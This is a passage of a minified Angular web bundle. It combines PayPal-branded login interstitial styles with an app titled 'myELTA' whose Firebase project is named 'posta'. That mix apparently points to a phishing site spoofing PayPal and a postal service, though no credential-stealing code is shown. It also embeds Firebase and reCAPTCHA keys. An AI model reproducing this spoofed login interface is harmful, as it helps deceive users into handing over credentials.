0;text-align:center;line-height:1.5}@media (max-width: 330px){#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .education-sub-message[_ngcontent-%COMP%]{width:300px}}#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .education-image[_ngcontent-%COMP%]{display:flex;flex-direction:column;align-items:center;width:310px;padding-bottom:190px;margin-left:auto;margin-right:auto;background-image:url(https://www.paypalobjects.com/images/unifiedLogin/ic_iCloudKeychain_blue.png);background-size:contain;background-repeat:no-repeat;background-position:center;margin-top:36px;background-image:url(https://www.paypalobjects.com/images/unifiedLogin/ic_iCloudKeychain_gray_finger.png)}#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .education-image[_ngcontent-%COMP%] .keychain-prompt-message[_ngcontent-%COMP%]{position:absolute;font-size:16px;font-weight:900;color:#0070ba;transform:translateY(84px)}@media (max-width: 330px){#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .education-image[_ngcontent-%COMP%]{margin-top:24px}}#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .education-image[_ngcontent-%COMP%] .keychain-prompt-message[_ngcontent-%COMP%]{color:#6c7378}#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .education-info[_ngcontent-%COMP%]{font-size:14px;color:#6c7378;margin:20px 0 0;text-align:center}@media (max-width: 330px){#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .education-info[_ngcontent-%COMP%]{margin-top:10px;width:300px}}#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] button.cta-keychain-optin[_ngcontent-%COMP%]{margin-top:15px;border-radius:20px;width:320px}@media (max-width: 330px){#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] button.cta-keychain-optin[_ngcontent-%COMP%]{width:300px}}#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] a.cta-decline[_ngcontent-%COMP%]{margin-top:15px;cursor:pointer;font-weight:700}#keychain-interstitial[_ngcontent-%COMP%] .education[_ngcontent-%COMP%] .paypal-logo-monogram[_ngcontent-%COMP%]{display:none}.transitioning.keychain[_ngcontent-%COMP%]:after{-moz-opacity:1;-khtml-opacity:1;-webkit-opacity:1;opacity:1;-ms-filter:alpha(opacity=100);filter:alpha(opacity=100)}#keychainErrorMessage[_ngcontent-%COMP%]{outline:0;margin-bottom:10px;font-size:13px}#keychainErrorMessage.animatable[_ngcontent-%COMP%]{display:none}#keychainErrorMessage[_ngcontent-%COMP%] .notification[_ngcontent-%COMP%]{margin:0;padding:15px 15px 15px 44px;border-radius:5px;border-width:1px;border-style:solid;text-align:left;font-size:1em;background:url(https://www.paypalobjects.com/images/shared/icon_alert_sprite-2x.png) no-repeat;background-size:20px}#keychainErrorMessage[_ngcontent-%COMP%] .notification.notification-default[_ngcontent-%COMP%]{background-color:#f7f9fa;background-position:12px -788px;background-position:left 12px top -788px;border-color:#afabae}.lower-than-ie9[_ngcontent-%COMP%] #keychainErrorMessage[_ngcontent-%COMP%] .notification.notification-default[_ngcontent-%COMP%]{background-position:1% 81.5%}#keychainErrorMessage[_ngcontent-%COMP%] .notification.notification-critical[_ngcontent-%COMP%]{background-color:#fff7f7;background-position:12px -387px;background-position:left 12px top -387px;border-color:#c72e2e}.lower-than-ie9[_ngcontent-%COMP%] #keychainErrorMessage[_ngcontent-%COMP%] .notification.notification-critical[_ngcontent-%COMP%]{background-position:1% 41%}#keychainErrorMessage[_ngcontent-%COMP%] .notification.notification-help[_ngcontent-%COMP%]{background-color:#f7fdff;background-position:12px -588px;background-position:left 12px top -588px;border-color:#009cde}.lower-than-ie9[_ngcontent-%COMP%] #keychainErrorMessage[_ngcontent-%COMP%] .notification.notification-help[_ngcontent-%COMP%]{background-position:1% 61%}#keychainErrorMessage[_ngcontent-%COMP%] .notification.notification-success[_ngcontent-%COMP%]{background-color:#f7fff7;background-position:12px 12px;background-position:left 12px top 12px;border-color:#1b9e1b}.lower-than-ie9[_ngcontent-%COMP%] #keychainErrorMessage[_ngcontent-%COMP%] .notification.notification-success[_ngcontent-%COMP%]{background-position:1% 0}#keychainErrorMessage[_ngcontent-%COMP%] .notification.notification-warning[_ngcontent-%COMP%]{background-color:#fffcf7;background-position:12px -188px;background-position:left 12px top -188px;border-color:#f8981f}.lower-than-ie9[_ngcontent-%COMP%] #keychainErrorMessage[_ngcontent-%COMP%] .notification.notification-warning[_ngcontent-%COMP%]{background-position:1% 20.5%}section#sua-interstitial[_ngcontent-%COMP%]{margin-left:auto;margin-right:auto;margin-top:162px;width:344px}@media (max-width: 1400px){section#sua-interstitial[_ngcontent-%COMP%]{margin-top:105px;width:336px}}@media (max-width: 420px){section#sua-interstitial[_ngcontent-%COMP%]{width:327px;margin-top:40px}}@media (max-width: 380px){section#sua-interstitial[_ngcontent-%COMP%]{width:83%;margin-top:40px}}section#sua-interstitial[_ngcontent-%COMP%] p.paypal-logo[_ngcontent-%COMP%]{margin-bottom:40px;background-size:100%;width:115px;height:28px}@media (max-width: 1400px){section#sua-interstitial[_ngcontent-%COMP%] p.paypal-logo[_ngcontent-%COMP%]{margin-bottom:30px}}@media (max-width: 420px){section#sua-interstitial[_ngcontent-%COMP%] p.paypal-logo[_ngcontent-%COMP%]{margin-bottom:24px}}section#sua-interstitial[_ngcontent-%COMP%] h1.sua-title[_ngcontent-%COMP%]{color:#2c2e2f;text-align:center;font-size:30px;font-weight:300;line-height:36px;margin-bottom:38px;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}@media (max-width: 420px){section#sua-interstitial[_ngcontent-%COMP%] h1.sua-title[_ngcontent-%COMP%]{font-size:24px;margin-bottom:24px}}section#sua-interstitial[_ngcontent-%COMP%] p.sua-content[_ngcontent-%COMP%]{font-size:15px;line-height:24px;margin-bottom:36px;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}@media (max-width: 380px){section#sua-interstitial[_ngcontent-%COMP%] p.sua-content[_ngcontent-%COMP%]{margin-bottom:24px;font-size:13px}}@media (max-width: 330px){section#sua-interstitial[_ngcontent-%COMP%] p.sua-content[_ngcontent-%COMP%]{margin-bottom:22px;font-size:13px}}section#sua-interstitial[_ngcontent-%COMP%] p.sua-content[_ngcontent-%COMP%] a[_ngcontent-%COMP%] span.sua-privacy-statement-link-icon[_ngcontent-%COMP%]{width:15.5px;height:15.5px;display:inline-block;background-image:url(https://www.paypalobjects.com/images/unifiedLogin/external-alt-blue.svg);transform:translate(3px,2px)}section#sua-interstitial[_ngcontent-%COMP%] button.sua-agree[_ngcontent-%COMP%]{display:block;margin-bottom:24px;margin-left:auto;margin-right:auto;width:100%;height:54px;font-size:15px;border-radius:50px;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif}@media (max-width: 380px){section#sua-interstitial[_ngcontent-%COMP%] button.sua-agree[_ngcontent-%COMP%]{width:272px}}section#sua-interstitial[_ngcontent-%COMP%] a.sua-log-out[_ngcontent-%COMP%]{font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;text-align:center;display:block;font-weight:500;cursor:pointer}div.siapple-xhr-container[_ngcontent-%COMP%]{position:fixed;width:100%;top:0;left:0}section#siappleOptinInterstitial[_ngcontent-%COMP%]{margin-left:auto;margin-right:auto;width:336px;padding-top:20px;display:flex;flex-direction:column;align-items:center}section#siappleOptinInterstitial[_ngcontent-%COMP%] *[_ngcontent-%COMP%]{margin:0}section#siappleOptinInterstitial.uiVersion.v2[_ngcontent-%COMP%] span.siappleLogo[_ngcontent-%COMP%]{display:none}section#siappleOptinInterstitial[_ngcontent-%COMP%] .corral[_ngcontent-%COMP%] > #content[_ngcontent-%COMP%]{display:flex;flex-direction:column;align-items:center}section#siappleOptinInterstitial[_ngcontent-%COMP%] p.paypal-logo.paypal-logo-long[_ngcontent-%COMP%]{height:32px;margin-bottom:40px}section#siappleOptinInterstitial[_ngcontent-%COMP%] span.siappleLogo[_ngcontent-%COMP%]{margin-bottom:24px;display:block;width:61px;height:96px;background-image:url(https://www.paypalobjects.com/images/unifiedLogin/sign-in-with-apple-animation_4.gif);background-size:100%;background-repeat:no-repeat}section#siappleOptinInterstitial[_ngcontent-%COMP%] h3.siappleTitle[_ngcontent-%COMP%]{text-align:center;color:#2c2e2f;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:300;font-size:30px;line-height:36px;margin-bottom:16px;width:300px}section#siappleOptinInterstitial[_ngcontent-%COMP%] p.siappleContent[_ngcontent-%COMP%]{width:290px;margin-bottom:24px;text-align:center;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:300;font-size:15px;line-height:22px}section#siappleOptinInterstitial[_ngcontent-%COMP%] p.siappleContent[_ngcontent-%COMP%] a.siappleMoreInfo[_ngcontent-%COMP%]{font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:300;font-size:15px;line-height:22px}section#siappleOptinInterstitial[_ngcontent-%COMP%] button.siappleConnectBtn[_ngcontent-%COMP%]{margin-bottom:24px;font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:15px;line-height:25px;width:235px;height:48px;border-radius:50px;background-color:#0070ba;font-weight:500;cursor:pointer}section#siappleOptinInterstitial[_ngcontent-%COMP%] button.siappleConnectBtn[_ngcontent-%COMP%]:disabled{background-color:rgba(0,112,186,.7)}section#siappleOptinInterstitial[_ngcontent-%COMP%] a.siappleDecline[_ngcontent-%COMP%]{font-family:HelveticaNeue-Light,"Helvetica Neue Light",HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:15px;line-height:24px;font-weight:500;cursor:pointer}.secondaryLinkContainer[_ngcontent-%COMP%]{display:flex;align-items:center;justify-content:center}.secondaryLinkContainer[_ngcontent-%COMP%] > p[_ngcontent-%COMP%]{margin-right:5px}.modal[_ngcontent-%COMP%]{background:#fff;width:90%;margin-top:50px}.modal[_ngcontent-%COMP%] .adjustHeader[_ngcontent-%COMP%]{margin:20px 20px 0}.modal-container[_ngcontent-%COMP%]{display:flex;align-items:center;justify-content:center;position:absolute;z-index:9997;width:100%;top:0;height:100%}.cancel-container[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{text-decoration:none;font-size:x-large;margin:15px}.cancel-container[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{color:#666}.cancel-container[_ngcontent-%COMP%]{display:flex;justify-content:flex-end}.login-container[_ngcontent-%COMP%]{padding:0 20px;margin:40px 0}.adjustLoginContainer[_ngcontent-%COMP%]{margin-bottom:20px}.guestSeparator[_ngcontent-%COMP%]{border-top:1px solid #cbd2d6;position:relative;margin:0 20px;text-align:center}.guestContainer[_ngcontent-%COMP%]{margin:20px 0}.signupContainer[_ngcontent-%COMP%]{text-align:center}#modalEmail[_ngcontent-%COMP%]{font-weight:700;text-align:center}.grayMask[_ngcontent-%COMP%]{position:fixed;z-index:9996}.grayMask[_ngcontent-%COMP%]:after{content:"";position:fixed;z-index:-1;top:0;right:0;bottom:0;left:0;background:#000;-moz-opacity:.4;-khtml-opacity:.4;-webkit-opacity:.4;opacity:.4;-ms-filter:alpha(opacity=40);filter:alpha(opacity=40)}.displayCredentials[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{text-align:center;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;vertical-align:top;margin-right:10px;max-width:270px;display:inline-block;-webkit-font-smoothing:subpixel-antialiased;-moz-osx-font-smoothing:grayscale}.sharedAdvisoryLabel[_ngcontent-%COMP%]{height:46px;text-align:center;font-family:Arial;font-style:normal;font-weight:400;font-size:15px;margin-top:24px;margin-bottom:24px;color:#26282a}.sharedAdvisoryLabel[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{margin:10px}']}),t})()}];let ZR=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({imports:[[No.forRoot(XR)],No]}),t})(),YR=(()=>{class t{constructor(t,e){this.recaptchaV3Service=t,this.myService=e,this.title="myELTA"}executeImportantAction(){this.recaptchaV3Service.execute("importantAction").subscribe(t=>this.handleToken(t))}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(GN),r.\u0275\u0275directiveInject(CI))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-root"]],decls:1,vars:0,template:function(t,e){1&t&&r.\u0275\u0275element(0,"router-outlet")},directives:[Po],styles:[".gradient-custom[_ngcontent-%COMP%]{background:#6a11cb;background:linear-gradient(to right,#f1f1f1,#f1f1f1)}"]}),t})();const JR={apiKey:"AIzaSyBQW0ltVTPIFMKV9Vzbyj63guqmeZBIjO0",authDomain:"posta-d5012.firebaseapp.com",projectId:"posta-d5012",storageBucket:"posta-d5012.appspot.com",messagingSenderId:"322250462526",appId:"1:322250462526:web:f93cd2f4b88a245c62486f",measurementId:"G-5D3VPG7716"};let tL=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t,bootstrap:[YR]}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:[{provide:HN,useValue:"6LevQnsbAAAAAP9o476yPZoKfP84R6g9SlfdyQ_p"}],imports:[[ee,ZR,IO,Ue,UN,_w,hM,NO,Qo.hO.initializeApp(JR,"cloud"),dT,_I,dR.GooglePlaceModule,hT]]}),t})();(0,r.enableProdMode)(),Jt().bootstrapModule(tL).catch(t=>console.error(t))},4762:function(t,e,n){"use strict";n.d(e,{ZT:function(){return i},pi:function(){return o},mG:function(){return s},Jh:function(){return a},XA:function(){return c},CR:function(){return l},ev:function(){return u}});var r=function(t,e){return(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])})(t,e)};function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function n(){this.constructor=t}r(t,e),t.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}var o=function(){return(o=Object.assign||function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var i in e=arguments[n])Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i]);return t}).apply(this,arguments)};function s(t,e,n,r){return new(n||(n=Promise))(function(i,o){function s(t){try{c(r.next(t))}catch(e){o(e)}}function a(t){try{c(r.throw(t))}catch(e){o(e)}}function c(t){t.done?i(t.value):function(t){return t instanceof n?t:new n(function(e){e(t)})}(t.value).then(s,a)}c((r=r.apply(t,e||[])).next())})}function a(t,e){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(o){return function(a){return function(o){if(n)throw new TypeError("Generator is already executing.");for(;s;)try{if(n=1,r&&(i=2&o[0]?r.return:o[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,o[1])).done)return i;switch(r=0,i&&(o=[2&o[0],i.value]),o[0]){case 0:case 1:i=o;break;case 4:return s.label++,{value:o[1],done:!1};case 5:s.label++,r=o[1],o=[0];continue;case 7:o=s.ops.pop(),s.trys.pop();continue;default:if(!(i=(i=s.trys).length>0&&i[i.length-1])&&(6===o[0]||2===o[0])){s=0;continue}if(3===o[0]&&(!i||o[1]>i[0]&&o[1]<i[3])){s.label=o[1];break}if(6===o[0]&&s.label<i[1]){s.label=i[1],i=o;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(o);break}i[2]&&s.ops.pop(),s.trys.pop();continue}o=e.call(t,s)}catch(a){o=[6,a],r=0}finally{n=i=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}([o,a])}}}function c(t){var e="function"==typeof Symbol&&Symbol.iterator,n=e&&t[e],r=0;if(n)return n.call(t);if(t&&"number"==typeof t.length)return{next:function(){return t&&r>=t.length&&(t=void 0),{value:t&&t[r++],done:!t}}};throw new TypeError(e?"Object is not iterable.":"Symbol.iterator is not defined.")}function l(t,e){var n="function"==typeof Symbol&&t[Symbol.iterator];if(!n)return t;var r,i,o=n.call(t),s=[];try{for(;(void 0===e||e-- >0)&&!(r=o.next()).done;)s.push(r.value)}catch(a){i={error:a}}finally{try{r&&!r.done&&(n=o.return)&&n.call(o)}finally{if(i)throw i.error}}return s}function u(t,e,n){if(n||2===arguments.length)for(var r,i=0,o=e.length;i<o;i++)(r||!(i in e))&&(r||(r=Array.prototype.slice.call(e,0,i)),r[i]=e[i]);return t.concat(r||Array.prototype.slice.call(e))}}},function(t){t(t.s=8878)}]);